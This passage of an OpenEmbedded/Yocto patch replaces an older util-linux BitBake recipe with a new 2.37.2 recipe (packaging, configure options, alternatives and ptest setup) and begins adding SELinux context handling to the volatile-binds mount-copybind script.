-ALLOW_EMPTY_${PN} = "1"
-FILES_${PN} = ""
-FILES_${PN}-doc += "${datadir}/getopt/getopt-*.*"
-FILES_${PN}-dev += "${PYTHON_SITEPACKAGES_DIR}/libmount/pylibmount.la"
-FILES_${PN}-mount = "${sysconfdir}/default/mountall"
-FILES_${PN}-runuser = "${sysconfdir}/pam.d/runuser*"
-FILES_${PN}-su = "${sysconfdir}/pam.d/su-l"
-CONFFILES_${PN}-su = "${sysconfdir}/pam.d/su-l"
-FILES_${PN}-pylibmount = "${PYTHON_SITEPACKAGES_DIR}/libmount/pylibmount.so \
- ${PYTHON_SITEPACKAGES_DIR}/libmount/__init__.* \
- ${PYTHON_SITEPACKAGES_DIR}/libmount/__pycache__/*"
-
-# Util-linux' blkid replaces the e2fsprogs one
-RCONFLICTS_${PN}-blkid = "${MLPREFIX}e2fsprogs-blkid"
-RREPLACES_${PN}-blkid = "${MLPREFIX}e2fsprogs-blkid"
-
-RRECOMMENDS_${PN}_class-native = ""
-RRECOMMENDS_${PN}_class-nativesdk = ""
-RDEPENDS_${PN}_class-native = ""
-RDEPENDS_${PN}_class-nativesdk = ""
-
-RPROVIDES_${PN}-dev = "${PN}-libblkid-dev ${PN}-libmount-dev ${PN}-libuuid-dev"
-
-RDEPENDS_${PN}-bash-completion += "${PN}-lsblk"
-RDEPENDS_${PN}-ptest += "bash bc btrfs-tools coreutils e2fsprogs grep iproute2 kmod mdadm procps sed socat which xz"
-RRECOMMENDS_${PN}-ptest += "kernel-module-scsi-debug"
-RDEPENDS_${PN}-swaponoff = "${PN}-swapon ${PN}-swapoff"
-ALLOW_EMPTY_${PN}-swaponoff = "1"
-
-#SYSTEMD_PACKAGES = "${PN}-uuidd ${PN}-fstrim"
-SYSTEMD_SERVICE_${PN}-uuidd = "uuidd.socket uuidd.service"
-SYSTEMD_AUTO_ENABLE_${PN}-uuidd = "disable"
-SYSTEMD_SERVICE_${PN}-fstrim = "fstrim.timer fstrim.service"
-SYSTEMD_AUTO_ENABLE_${PN}-fstrim = "disable"
-
-do_install () {
- # with ccache the timestamps on compiled files may
- # end up earlier than on their inputs, this allows
- # for the resultant compilation in the install step.
- oe_runmake 'CC=${CC}' 'LD=${LD}' \
- 'LDFLAGS=${LDFLAGS}' 'DESTDIR=${D}' install
-
- mkdir -p ${D}${base_bindir}
-
- sbinprogs="agetty ctrlaltdel cfdisk vipw vigr"
- sbinprogs_a="pivot_root hwclock mkswap losetup swapon swapoff fdisk fsck blkid blockdev fstrim sulogin switch_root nologin"
- binprogs_a="dmesg getopt kill more umount mount login su mountpoint"
-
- if [ "${base_sbindir}" != "${sbindir}" ]; then
- mkdir -p ${D}${base_sbindir}
- for p in $sbinprogs $sbinprogs_a; do
- if [ -f "${D}${sbindir}/$p" ]; then
- mv "${D}${sbindir}/$p" "${D}${base_sbindir}/$p"
- fi
- done
- fi
-
- if [ "${base_bindir}" != "${bindir}" ]; then
- mkdir -p ${D}${base_bindir}
- for p in $binprogs_a; do
- if [ -f "${D}${bindir}/$p" ]; then
- mv "${D}${bindir}/$p" "${D}${base_bindir}/$p"
- fi
- done
- fi
-
- install -d ${D}${sysconfdir}/default/
- echo 'MOUNTALL="-t nonfs,nosmbfs,noncpfs"' > ${D}${sysconfdir}/default/mountall
-
- rm -f ${D}${bindir}/chkdupexe
-}
-
-do_install_append_class-target () {
- if [ "${@bb.utils.filter('PACKAGECONFIG', 'pam', d)}" ]; then
- install -d ${D}${sysconfdir}/pam.d
- install -m 0644 ${WORKDIR}/runuser.pamd ${D}${sysconfdir}/pam.d/runuser
- install -m 0644 ${WORKDIR}/runuser-l.pamd ${D}${sysconfdir}/pam.d/runuser-l
- # Required for "su -" aka "su --login" because
- # otherwise it uses "other", which has "auth pam_deny.so"
- # and thus prevents the operation.
- ln -s su ${D}${sysconfdir}/pam.d/su-l
- fi
-}
-# nologin causes a conflict with shadow-native
-# kill causes a conflict with coreutils-native (if ${bindir}==${base_bindir})
-do_install_append_class-native () {
- rm -f ${D}${base_sbindir}/nologin
- rm -f ${D}${base_bindir}/kill
-}
-
-ALTERNATIVE_PRIORITY = "80"
-
-ALTERNATIVE_LINK_NAME[blkid] = "${base_sbindir}/blkid"
-ALTERNATIVE_LINK_NAME[blockdev] = "${base_sbindir}/blockdev"
-ALTERNATIVE_LINK_NAME[cal] = "${bindir}/cal"
-ALTERNATIVE_LINK_NAME[chrt] = "${bindir}/chrt"
-ALTERNATIVE_LINK_NAME[dmesg] = "${base_bindir}/dmesg"
-ALTERNATIVE_LINK_NAME[eject] = "${bindir}/eject"
-ALTERNATIVE_LINK_NAME[fallocate] = "${bindir}/fallocate"
-ALTERNATIVE_LINK_NAME[fdisk] = "${base_sbindir}/fdisk"
-ALTERNATIVE_LINK_NAME[flock] = "${bindir}/flock"
-ALTERNATIVE_LINK_NAME[fsck] = "${base_sbindir}/fsck"
-ALTERNATIVE_LINK_NAME[fsfreeze] = "${sbindir}/fsfreeze"
-ALTERNATIVE_LINK_NAME[fstrim] = "${base_sbindir}/fstrim"
-ALTERNATIVE_LINK_NAME[getopt] = "${base_bindir}/getopt"
-ALTERNATIVE_${PN}-agetty = "getty"
-ALTERNATIVE_LINK_NAME[getty] = "${base_sbindir}/getty"
-ALTERNATIVE_TARGET[getty] = "${base_sbindir}/agetty"
-ALTERNATIVE_LINK_NAME[hexdump] = "${bindir}/hexdump"
-ALTERNATIVE_LINK_NAME[hwclock] = "${base_sbindir}/hwclock"
-ALTERNATIVE_LINK_NAME[ionice] = "${bindir}/ionice"
-ALTERNATIVE_LINK_NAME[kill] = "${base_bindir}/kill"
-ALTERNATIVE_${PN}-last = "last lastb"
-ALTERNATIVE_LINK_NAME[last] = "${bindir}/last"
-ALTERNATIVE_LINK_NAME[lastb] = "${bindir}/lastb"
-ALTERNATIVE_LINK_NAME[logger] = "${bindir}/logger"
-ALTERNATIVE_LINK_NAME[losetup] = "${base_sbindir}/losetup"
-ALTERNATIVE_LINK_NAME[mesg] = "${bindir}/mesg"
-ALTERNATIVE_LINK_NAME[mkswap] = "${base_sbindir}/mkswap"
-ALTERNATIVE_LINK_NAME[mcookie] = "${bindir}/mcookie"
-ALTERNATIVE_LINK_NAME[more] = "${base_bindir}/more"
-ALTERNATIVE_LINK_NAME[mount] = "${base_bindir}/mount"
-ALTERNATIVE_LINK_NAME[mountpoint] = "${base_bindir}/mountpoint"
-ALTERNATIVE_LINK_NAME[nologin] = "${base_sbindir}/nologin"
-ALTERNATIVE_LINK_NAME[nsenter] = "${bindir}/nsenter"
-ALTERNATIVE_LINK_NAME[pivot_root] = "${base_sbindir}/pivot_root"
-ALTERNATIVE_LINK_NAME[prlimit] = "${bindir}/prlimit"
-ALTERNATIVE_LINK_NAME[readprofile] = "${sbindir}/readprofile"
-ALTERNATIVE_LINK_NAME[renice] = "${bindir}/renice"
-ALTERNATIVE_LINK_NAME[rev] = "${bindir}/rev"
-ALTERNATIVE_LINK_NAME[rfkill] = "${sbindir}/rfkill"
-ALTERNATIVE_LINK_NAME[rtcwake] = "${sbindir}/rtcwake"
-ALTERNATIVE_LINK_NAME[setpriv] = "${bindir}/setpriv"
-ALTERNATIVE_LINK_NAME[setsid] = "${bindir}/setsid"
-ALTERNATIVE_LINK_NAME[su] = "${base_bindir}/su"
-ALTERNATIVE_LINK_NAME[sulogin] = "${base_sbindir}/sulogin"
-ALTERNATIVE_LINK_NAME[swapoff] = "${base_sbindir}/swapoff"
-ALTERNATIVE_LINK_NAME[swapon] = "${base_sbindir}/swapon"
-ALTERNATIVE_LINK_NAME[switch_root] = "${base_sbindir}/switch_root"
-ALTERNATIVE_LINK_NAME[taskset] = "${bindir}/taskset"
-ALTERNATIVE_LINK_NAME[umount] = "${base_bindir}/umount"
-ALTERNATIVE_LINK_NAME[unshare] = "${bindir}/unshare"
-ALTERNATIVE_LINK_NAME[utmpdump] = "${bindir}/utmpdump"
-ALTERNATIVE_LINK_NAME[uuidgen] = "${bindir}/uuidgen"
-ALTERNATIVE_LINK_NAME[wall] = "${bindir}/wall"
-
-ALTERNATIVE_${PN}-doc = "\
-blkid.8 eject.1 findfs.8 fsck.8 kill.1 last.1 lastb.1 libblkid.3 logger.1 mesg.1 \
-mountpoint.1 nologin.8 rfkill.8 sulogin.8 utmpdump.1 uuid.3 wall.1\
-"
-ALTERNATIVE_${PN}-doc += "${@bb.utils.contains('PACKAGECONFIG', 'pam', 'su.1', '', d)}"
-
-ALTERNATIVE_LINK_NAME[blkid.8] = "${mandir}/man8/blkid.8"
-ALTERNATIVE_LINK_NAME[eject.1] = "${mandir}/man1/eject.1"
-ALTERNATIVE_LINK_NAME[findfs.8] = "${mandir}/man8/findfs.8"
-ALTERNATIVE_LINK_NAME[fsck.8] = "${mandir}/man8/fsck.8"
-ALTERNATIVE_LINK_NAME[kill.1] = "${mandir}/man1/kill.1"
-ALTERNATIVE_LINK_NAME[last.1] = "${mandir}/man1/last.1"
-ALTERNATIVE_LINK_NAME[lastb.1] = "${mandir}/man1/lastb.1"
-ALTERNATIVE_LINK_NAME[libblkid.3] = "${mandir}/man3/libblkid.3"
-ALTERNATIVE_LINK_NAME[logger.1] = "${mandir}/man1/logger.1"
-ALTERNATIVE_LINK_NAME[mesg.1] = "${mandir}/man1/mesg.1"
-ALTERNATIVE_LINK_NAME[mountpoint.1] = "${mandir}/man1/mountpoint.1"
-ALTERNATIVE_LINK_NAME[nologin.8] = "${mandir}/man8/nologin.8"
-ALTERNATIVE_LINK_NAME[rfkill.8] = "${mandir}/man8/rfkill.8"
-ALTERNATIVE_LINK_NAME[setpriv.1] = "${mandir}/man1/setpriv.1"
-ALTERNATIVE_LINK_NAME[su.1] = "${mandir}/man1/su.1"
-ALTERNATIVE_LINK_NAME[sulogin.8] = "${mandir}/man8/sulogin.8"
-ALTERNATIVE_LINK_NAME[utmpdump.1] = "${mandir}/man1/utmpdump.1"
-ALTERNATIVE_LINK_NAME[uuid.3] = "${mandir}/man3/uuid.3"
-ALTERNATIVE_LINK_NAME[wall.1] = "${mandir}/man1/wall.1"
-
-
-BBCLASSEXTEND = "native nativesdk"
-
-PTEST_BINDIR = "1"
-do_compile_ptest() {
- oe_runmake buildtest-TESTS
-}
-
-do_install_ptest() {
- mkdir -p ${D}${PTEST_PATH}/tests/ts
- find . -name 'test*' -maxdepth 1 -type f -perm -111 -exec cp {} ${D}${PTEST_PATH} \;
- find ./.libs -name 'sample*' -maxdepth 1 -type f -perm -111 -exec cp {} ${D}${PTEST_PATH} \;
- find ./.libs -name 'test*' -maxdepth 1 -type f -perm -111 -exec cp {} ${D}${PTEST_PATH} \;
-
- cp ${S}/tests/*.sh ${D}${PTEST_PATH}/tests/
- cp -pR ${S}/tests/expected ${D}${PTEST_PATH}/tests/expected
- cp -pR ${S}/tests/ts ${D}${PTEST_PATH}/tests/
- cp ${WORKDIR}/build/config.h ${D}${PTEST_PATH}
-
- # The original paths of executables to be tested point to a local folder containing
- # the executables. We want to test the installed executables, not the local copies.
- # So strip the paths, the executables will be located via "which"
- sed -i \
- -e '/^TS_CMD/ s|$top_builddir/||g' \
- -e '/^TS_HELPER/ s|$top_builddir|${PTEST_PATH}|g' \
- ${D}${PTEST_PATH}/tests/commands.sh
-
- # Change 'if [ ! -x "$1" ]' to 'if [ ! -x "`which $1 2>/dev/null`"]'
- sed -i -e \
- '/^\tif[[:space:]]\[[[:space:]]![[:space:]]-x[[:space:]]"$1"/s|$1|`which $1 2>/dev/null`|g' \
- ${D}${PTEST_PATH}/tests/functions.sh
-
- # Running "kill" without the the complete path would use the shell's built-in kill
- sed -i -e \
- '/^TS_CMD_KILL/ s|kill|${PTEST_PATH}/bin/kill|g' \
- ${D}${PTEST_PATH}/tests/commands.sh
-
-
- sed -i 's|@base_sbindir@|${base_sbindir}|g' ${D}${PTEST_PATH}/run-ptest
-
-}
diff --git a/meta/recipes-core/util-linux/util-linux_2.37.2.bb b/meta/recipes-core/util-linux/util-linux_2.37.2.bb
new file mode 100644
index 0000000000..d609c30067
--- /dev/null
+++ b/meta/recipes-core/util-linux/util-linux_2.37.2.bb
@@ -0,0 +1,320 @@
+require util-linux.inc
+
+#gtk-doc is not enabled as it requires xmlto which requires util-linux
+inherit autotools gettext manpages pkgconfig systemd update-alternatives python3-dir bash-completion ptest
+DEPENDS = "libcap-ng ncurses virtual/crypt zlib util-linux-libuuid"
+
+PACKAGES =+ "${PN}-swaponoff"
+PACKAGES += "${@bb.utils.contains('PACKAGECONFIG', 'pylibmount', '${PN}-pylibmount', '', d)}"
+
+python util_linux_binpackages () {
+ def pkg_hook(f, pkg, file_regex, output_pattern, modulename):
+ pn = d.getVar('PN')
+ d.appendVar('RRECOMMENDS:%s' % pn, ' %s' % pkg)
+
+ if d.getVar('ALTERNATIVE:' + pkg):
+ return
+ if d.getVarFlag('ALTERNATIVE_LINK_NAME', modulename):
+ d.setVar('ALTERNATIVE:' + pkg, modulename)
+
+ bindirs = sorted(list(set(d.expand("${base_sbindir} ${base_bindir} ${sbindir} ${bindir}").split())))
+ for dir in bindirs:
+ do_split_packages(d, root=dir,
+ file_regex=r'(.*)', output_pattern='${PN}-%s',
+ description='${PN} %s',
+ hook=pkg_hook, extra_depends='')
+
+ # There are some symlinks for some binaries which we have ignored
+ # above. Add them to the package owning the binary they are
+ # pointing to
+ extras = {}
+ dvar = d.getVar('PKGD')
+ for root in bindirs:
+ for walkroot, dirs, files in os.walk(dvar + root):
+ for f in files:
+ file = os.path.join(walkroot, f)
+ if not os.path.islink(file):
+ continue
+
+ pkg = os.path.basename(os.readlink(file))
+ extras.setdefault(pkg, [])
+ extras[pkg].append(file.replace(dvar, '', 1))
+
+ pn = d.getVar('PN')
+ for pkg, links in extras.items():
+ of = d.getVar('FILES:' + pn + '-' + pkg)
+ links = of + " " + " ".join(sorted(links))
+ d.setVar('FILES:' + pn + '-' + pkg, links)
+}
+
+# we must execute before update-alternatives PACKAGE_PREPROCESS_FUNCS
+PACKAGE_PREPROCESS_FUNCS =+ "util_linux_binpackages "
+
+# skip libuuid as it will be packaged by the util-linux-libuuid recipe
+python util_linux_libpackages() {
+ do_split_packages(d, root=d.getVar('UTIL_LINUX_LIBDIR'), file_regex=r'^lib(?!uuid)(.*)\.so\..*$',
+ output_pattern='${PN}-lib%s',
+ description='${PN} lib%s',
+ extra_depends='', prepend=True, allow_links=True)
+}
+
+PACKAGESPLITFUNCS =+ "util_linux_libpackages"
+
+PACKAGES_DYNAMIC = "^${PN}-.*"
+
+CACHED_CONFIGUREVARS += "scanf_cv_alloc_modifier=ms"
+UTIL_LINUX_LIBDIR = "${libdir}"
+UTIL_LINUX_LIBDIR:class-target = "${base_libdir}"
+EXTRA_OECONF = "\
+ --enable-libuuid --enable-libblkid \
+ \
+ --enable-fsck --enable-kill --enable-last --enable-mesg \
+ --enable-mount --enable-partx --enable-raw --enable-rfkill \
+ --enable-unshare --enable-write \
+ \
+ --disable-bfs --disable-login \
+ --disable-makeinstall-chown --disable-minix --disable-newgrp \
+ --disable-use-tty-group --disable-vipw --disable-raw \
+ \
+ --without-udev \
+ \
+ usrsbin_execdir='${sbindir}' \
+ --libdir='${UTIL_LINUX_LIBDIR}' \
+"
+
+EXTRA_OECONF:append:class-target = " --enable-setpriv"
+EXTRA_OECONF:append:class-native = " --without-cap-ng --disable-setpriv"
+EXTRA_OECONF:append:class-nativesdk = " --without-cap-ng --disable-setpriv"
+EXTRA_OECONF:append = " --disable-hwclock-gplv3"
+
+# enable pcre2 for native/nativesdk to match host distros
+# this helps to keep same expectations when using the SDK or
+# build host versions during development
+#
+PACKAGECONFIG ?= "pcre2"
+PACKAGECONFIG:class-target ?= "${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'chfn-chsh pam', '', d)}"
+# inherit manpages requires this to be present, however util-linux does not have
+# configuration options, and installs manpages always
+PACKAGECONFIG[manpages] = ""
+PACKAGECONFIG[pam] = "--enable-su --enable-runuser,--disable-su --disable-runuser, libpam,"
+# Respect the systemd feature for uuidd
+PACKAGECONFIG[systemd] = "--with-systemd --with-systemdsystemunitdir=${systemd_system_unitdir}, --without-systemd --without-systemdsystemunitdir,systemd"
+# Build python bindings for libmount
+PACKAGECONFIG[pylibmount] = "--with-python=3 --enable-pylibmount,--without-python --disable-pylibmount,python3"
+# Readline support
+PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
+# PCRE support in hardlink
+PACKAGECONFIG[pcre2] = ",,libpcre2"
+PACKAGECONFIG[cryptsetup] = "--with-cryptsetup,--without-cryptsetup,cryptsetup"
+PACKAGECONFIG[chfn-chsh] = "--enable-chfn-chsh,--disable-chfn-chsh,"
+
+EXTRA_OEMAKE = "ARCH=${TARGET_ARCH} CPU= CPUOPT= 'OPT=${CFLAGS}'"
+
+ALLOW_EMPTY:${PN} = "1"
+FILES:${PN} = ""
+FILES:${PN}-doc += "${datadir}/getopt/getopt-*.*"
+FILES:${PN}-dev += "${PYTHON_SITEPACKAGES_DIR}/libmount/pylibmount.la"
+FILES:${PN}-mount = "${sysconfdir}/default/mountall"
+FILES:${PN}-runuser = "${sysconfdir}/pam.d/runuser*"
+FILES:${PN}-su = "${sysconfdir}/pam.d/su-l"
+CONFFILES:${PN}-su = "${sysconfdir}/pam.d/su-l"
+FILES:${PN}-pylibmount = "${PYTHON_SITEPACKAGES_DIR}/libmount/pylibmount.so \
+ ${PYTHON_SITEPACKAGES_DIR}/libmount/__init__.* \
+ ${PYTHON_SITEPACKAGES_DIR}/libmount/__pycache__/*"
+
+# Util-linux' blkid replaces the e2fsprogs one
+RCONFLICTS:${PN}-blkid = "${MLPREFIX}e2fsprogs-blkid"
+RREPLACES:${PN}-blkid = "${MLPREFIX}e2fsprogs-blkid"
+
+RRECOMMENDS:${PN}:class-native = ""
+RRECOMMENDS:${PN}:class-nativesdk = ""
+RDEPENDS:${PN}:class-native = ""
+RDEPENDS:${PN}:class-nativesdk = ""
+
+RDEPENDS:${PN} += " util-linux-libuuid"
+RDEPENDS:${PN}-dev += " util-linux-libuuid-dev"
+
+RPROVIDES:${PN}-dev = "${PN}-libblkid-dev ${PN}-libmount-dev"
+
+RDEPENDS:${PN}-bash-completion += "${PN}-lsblk"
+RDEPENDS:${PN}-ptest += "bash bc btrfs-tools coreutils e2fsprogs findutils grep iproute2 kmod mdadm procps sed socat which xz"
+RRECOMMENDS:${PN}-ptest += "kernel-module-scsi-debug kernel-module-sd-mod kernel-module-loop"
+RDEPENDS:${PN}-swaponoff = "${PN}-swapon ${PN}-swapoff"
+ALLOW_EMPTY:${PN}-swaponoff = "1"
+
+#SYSTEMD_PACKAGES = "${PN}-uuidd ${PN}-fstrim"
+SYSTEMD_SERVICE:${PN}-uuidd = "uuidd.socket uuidd.service"
+SYSTEMD_AUTO_ENABLE:${PN}-uuidd = "disable"
+SYSTEMD_SERVICE:${PN}-fstrim = "fstrim.timer fstrim.service"
+SYSTEMD_AUTO_ENABLE:${PN}-fstrim = "disable"
+
+do_install () {
+ # with ccache the timestamps on compiled files may
+ # end up earlier than on their inputs, this allows
+ # for the resultant compilation in the install step.
+ oe_runmake 'CC=${CC}' 'LD=${LD}' \
+ 'LDFLAGS=${LDFLAGS}' 'DESTDIR=${D}' install
+
+ mkdir -p ${D}${base_bindir}
+
+ sbinprogs="agetty ctrlaltdel cfdisk vipw vigr"
+ sbinprogs_a="pivot_root hwclock mkswap losetup swapon swapoff fdisk fsck blkid blockdev fstrim sulogin switch_root nologin"
+ binprogs_a="dmesg getopt kill more umount mount login su mountpoint"
+
+ if [ "${base_sbindir}" != "${sbindir}" ]; then
+ mkdir -p ${D}${base_sbindir}
+ for p in $sbinprogs $sbinprogs_a; do
+ if [ -f "${D}${sbindir}/$p" ]; then
+ mv "${D}${sbindir}/$p" "${D}${base_sbindir}/$p"
+ fi
+ done
+ fi
+
+ if [ "${base_bindir}" != "${bindir}" ]; then
+ mkdir -p ${D}${base_bindir}
+ for p in $binprogs_a; do
+ if [ -f "${D}${bindir}/$p" ]; then
+ mv "${D}${bindir}/$p" "${D}${base_bindir}/$p"
+ fi
+ done
+ fi
+
+ install -d ${D}${sysconfdir}/default/
+ echo 'MOUNTALL="-t nonfs,nosmbfs,noncpfs"' > ${D}${sysconfdir}/default/mountall
+
+ rm -f ${D}${bindir}/chkdupexe
+}
+
+do_install:append:class-target () {
+ if [ "${@bb.utils.filter('PACKAGECONFIG', 'pam', d)}" ]; then
+ install -d ${D}${sysconfdir}/pam.d
+ install -m 0644 ${WORKDIR}/runuser.pamd ${D}${sysconfdir}/pam.d/runuser
+ install -m 0644 ${WORKDIR}/runuser-l.pamd ${D}${sysconfdir}/pam.d/runuser-l
+ # Required for "su -" aka "su --login" because
+ # otherwise it uses "other", which has "auth pam_deny.so"
+ # and thus prevents the operation.
+ ln -s su ${D}${sysconfdir}/pam.d/su-l
+ fi
+}
+# nologin causes a conflict with shadow-native
+# kill causes a conflict with coreutils-native (if ${bindir}==${base_bindir})
+do_install:append:class-native () {
+ rm -f ${D}${base_sbindir}/nologin
+ rm -f ${D}${base_bindir}/kill
+}
+
+# dm-verity support introduces a circular build dependency, so util-linux-libuuid is split out for target builds
+# Need to build libuuid for uuidgen, but then delete it and let the other recipe ship it
+do_install:append () {
+ rm -rf ${D}${includedir}/uuid ${D}${libdir}/pkgconfig/uuid.pc ${D}${libdir}/libuuid* ${D}${base_libdir}/libuuid*
+}
+
+ALTERNATIVE_PRIORITY = "80"
+
+ALTERNATIVE_LINK_NAME[blkid] = "${base_sbindir}/blkid"
+ALTERNATIVE_LINK_NAME[blockdev] = "${base_sbindir}/blockdev"
+ALTERNATIVE_LINK_NAME[cal] = "${bindir}/cal"
+ALTERNATIVE_LINK_NAME[chfn] = "${bindir}/chfn"
+ALTERNATIVE_LINK_NAME[chsh] = "${bindir}/chsh"
+ALTERNATIVE_LINK_NAME[chrt] = "${bindir}/chrt"
+ALTERNATIVE_LINK_NAME[dmesg] = "${base_bindir}/dmesg"
+ALTERNATIVE_LINK_NAME[eject] = "${bindir}/eject"
+ALTERNATIVE_LINK_NAME[fallocate] = "${bindir}/fallocate"
+ALTERNATIVE_LINK_NAME[fdisk] = "${base_sbindir}/fdisk"
+ALTERNATIVE_LINK_NAME[flock] = "${bindir}/flock"
+ALTERNATIVE_LINK_NAME[fsck] = "${base_sbindir}/fsck"
+ALTERNATIVE_LINK_NAME[fsfreeze] = "${sbindir}/fsfreeze"
+ALTERNATIVE_LINK_NAME[fstrim] = "${base_sbindir}/fstrim"
+ALTERNATIVE_LINK_NAME[getopt] = "${base_bindir}/getopt"
+ALTERNATIVE:${PN}-agetty = "getty"
+ALTERNATIVE_LINK_NAME[getty] = "${base_sbindir}/getty"
+ALTERNATIVE_TARGET[getty] = "${base_sbindir}/agetty"
+ALTERNATIVE_LINK_NAME[hexdump] = "${bindir}/hexdump"
+ALTERNATIVE_LINK_NAME[hwclock] = "${base_sbindir}/hwclock"
+ALTERNATIVE_LINK_NAME[ionice] = "${bindir}/ionice"
+ALTERNATIVE_LINK_NAME[kill] = "${base_bindir}/kill"
+ALTERNATIVE:${PN}-last = "last lastb"
+ALTERNATIVE_LINK_NAME[last] = "${bindir}/last"
+ALTERNATIVE_LINK_NAME[lastb] = "${bindir}/lastb"
+ALTERNATIVE_LINK_NAME[logger] = "${bindir}/logger"
+ALTERNATIVE_LINK_NAME[losetup] = "${base_sbindir}/losetup"
+ALTERNATIVE_LINK_NAME[mesg] = "${bindir}/mesg"
+ALTERNATIVE_LINK_NAME[mkswap] = "${base_sbindir}/mkswap"
+ALTERNATIVE_LINK_NAME[mcookie] = "${bindir}/mcookie"
+ALTERNATIVE_LINK_NAME[more] = "${base_bindir}/more"
+ALTERNATIVE_LINK_NAME[mount] = "${base_bindir}/mount"
+ALTERNATIVE_LINK_NAME[mountpoint] = "${base_bindir}/mountpoint"
+ALTERNATIVE_LINK_NAME[nologin] = "${base_sbindir}/nologin"
+ALTERNATIVE_LINK_NAME[nsenter] = "${bindir}/nsenter"
+ALTERNATIVE_LINK_NAME[pivot_root] = "${base_sbindir}/pivot_root"
+ALTERNATIVE_LINK_NAME[prlimit] = "${bindir}/prlimit"
+ALTERNATIVE_LINK_NAME[readprofile] = "${sbindir}/readprofile"
+ALTERNATIVE_LINK_NAME[renice] = "${bindir}/renice"
+ALTERNATIVE_LINK_NAME[rev] = "${bindir}/rev"
+ALTERNATIVE_LINK_NAME[rfkill] = "${sbindir}/rfkill"
+ALTERNATIVE_LINK_NAME[rtcwake] = "${sbindir}/rtcwake"
+ALTERNATIVE_LINK_NAME[setpriv] = "${bindir}/setpriv"
+ALTERNATIVE_LINK_NAME[setsid] = "${bindir}/setsid"
+ALTERNATIVE_LINK_NAME[su] = "${base_bindir}/su"
+ALTERNATIVE_LINK_NAME[sulogin] = "${base_sbindir}/sulogin"
+ALTERNATIVE_LINK_NAME[swapoff] = "${base_sbindir}/swapoff"
+ALTERNATIVE_LINK_NAME[swapon] = "${base_sbindir}/swapon"
+ALTERNATIVE_LINK_NAME[switch_root] = "${base_sbindir}/switch_root"
+ALTERNATIVE_LINK_NAME[taskset] = "${bindir}/taskset"
+ALTERNATIVE_LINK_NAME[umount] = "${base_bindir}/umount"
+ALTERNATIVE_LINK_NAME[unshare] = "${bindir}/unshare"
+ALTERNATIVE_LINK_NAME[utmpdump] = "${bindir}/utmpdump"
+ALTERNATIVE_LINK_NAME[uuidgen] = "${bindir}/uuidgen"
+ALTERNATIVE_LINK_NAME[wall] = "${bindir}/wall"
+
+ALTERNATIVE:${PN}-doc = "\
+blkid.8 eject.1 findfs.8 fsck.8 kill.1 last.1 lastb.1 libblkid.3 logger.1 mesg.1 \
+mountpoint.1 nologin.8 rfkill.8 sulogin.8 utmpdump.1 uuid.3 wall.1\
+"
+ALTERNATIVE:${PN}-doc += "${@bb.utils.contains('PACKAGECONFIG', 'pam', 'su.1', '', d)}"
+
+ALTERNATIVE_LINK_NAME[blkid.8] = "${mandir}/man8/blkid.8"
+ALTERNATIVE_LINK_NAME[eject.1] = "${mandir}/man1/eject.1"
+ALTERNATIVE_LINK_NAME[findfs.8] = "${mandir}/man8/findfs.8"
+ALTERNATIVE_LINK_NAME[fsck.8] = "${mandir}/man8/fsck.8"
+ALTERNATIVE_LINK_NAME[kill.1] = "${mandir}/man1/kill.1"
+ALTERNATIVE_LINK_NAME[last.1] = "${mandir}/man1/last.1"
+ALTERNATIVE_LINK_NAME[lastb.1] = "${mandir}/man1/lastb.1"
+ALTERNATIVE_LINK_NAME[libblkid.3] = "${mandir}/man3/libblkid.3"
+ALTERNATIVE_LINK_NAME[logger.1] = "${mandir}/man1/logger.1"
+ALTERNATIVE_LINK_NAME[mesg.1] = "${mandir}/man1/mesg.1"
+ALTERNATIVE_LINK_NAME[mountpoint.1] = "${mandir}/man1/mountpoint.1"
+ALTERNATIVE_LINK_NAME[nologin.8] = "${mandir}/man8/nologin.8"
+ALTERNATIVE_LINK_NAME[rfkill.8] = "${mandir}/man8/rfkill.8"
+ALTERNATIVE_LINK_NAME[setpriv.1] = "${mandir}/man1/setpriv.1"
+ALTERNATIVE_LINK_NAME[su.1] = "${mandir}/man1/su.1"
+ALTERNATIVE_LINK_NAME[sulogin.8] = "${mandir}/man8/sulogin.8"
+ALTERNATIVE_LINK_NAME[utmpdump.1] = "${mandir}/man1/utmpdump.1"
+ALTERNATIVE_LINK_NAME[uuid.3] = "${mandir}/man3/uuid.3"
+ALTERNATIVE_LINK_NAME[wall.1] = "${mandir}/man1/wall.1"
+
+BBCLASSEXTEND = "native nativesdk"
+
+PTEST_BINDIR = "1"
+do_compile_ptest() {
+ oe_runmake buildtest-TESTS
+}
+
+do_install_ptest() {
+ mkdir -p ${D}${PTEST_PATH}/tests/ts
+ find . -name 'test*' -maxdepth 1 -type f -perm -111 -exec cp {} ${D}${PTEST_PATH} \;
+ find ./.libs -name 'sample*' -maxdepth 1 -type f -perm -111 -exec cp {} ${D}${PTEST_PATH} \;
+ find ./.libs -name 'test*' -maxdepth 1 -type f -perm -111 -exec cp {} ${D}${PTEST_PATH} \;
+
+ cp ${S}/tests/*.sh ${D}${PTEST_PATH}/tests/
+ cp -pR ${S}/tests/expected ${D}${PTEST_PATH}/tests/expected
+ cp -pR ${S}/tests/ts ${D}${PTEST_PATH}/tests/
+ cp ${WORKDIR}/build/config.h ${D}${PTEST_PATH}
+
+ sed -i 's|@base_sbindir@|${base_sbindir}|g' ${D}${PTEST_PATH}/run-ptest
+
+ # chfn needs PAM
+ if ! ${@bb.utils.contains('PACKAGECONFIG', 'pam', 'true', 'false', d)}; then
+ rm -rf ${D}${PTEST_PATH}/tests/ts/chfn
+ fi
+}
diff --git a/meta/recipes-core/volatile-binds/files/mount-copybind b/meta/recipes-core/volatile-binds/files/mount-copybind
index e32e675308..aad022c6e4 100755
--- a/meta/recipes-core/volatile-binds/files/mount-copybind
+++ b/meta/recipes-core/volatile-binds/files/mount-copybind
@@ -31,6 +31,13 @@ if [ -d "$mountpoint" ]; then
else
specdir_existed=no
mkdir "$spec"
+ # If the $spec directory is created we need to take care that
+ # the selinux context is correct
+ if command -v selinuxenabled > /dev/null 2>&1; then
+ if selinuxenabled; then
+ restorecon "$spec"
+ fi
+ fi
fi
# Fast version of calculating `dirname ${spec}`/.`basename ${spec}`-work
@@ -39,13 +46,24 @@ if [ -d "$mountpoint" ]; then
# Try to mount using overlay, which is must faster than copying files.
# If that fails, fall back to slower copy.
- if ! mount -t overlay overlay -olowerdir="$mountpoint",upperdir="$spec",workdir="$overlay_workdir" "$mountpoint" > /dev/null 2>&1; then
+ if command -v selinuxenabled > /dev/null 2>&1; then
+ if selinuxenabled; then
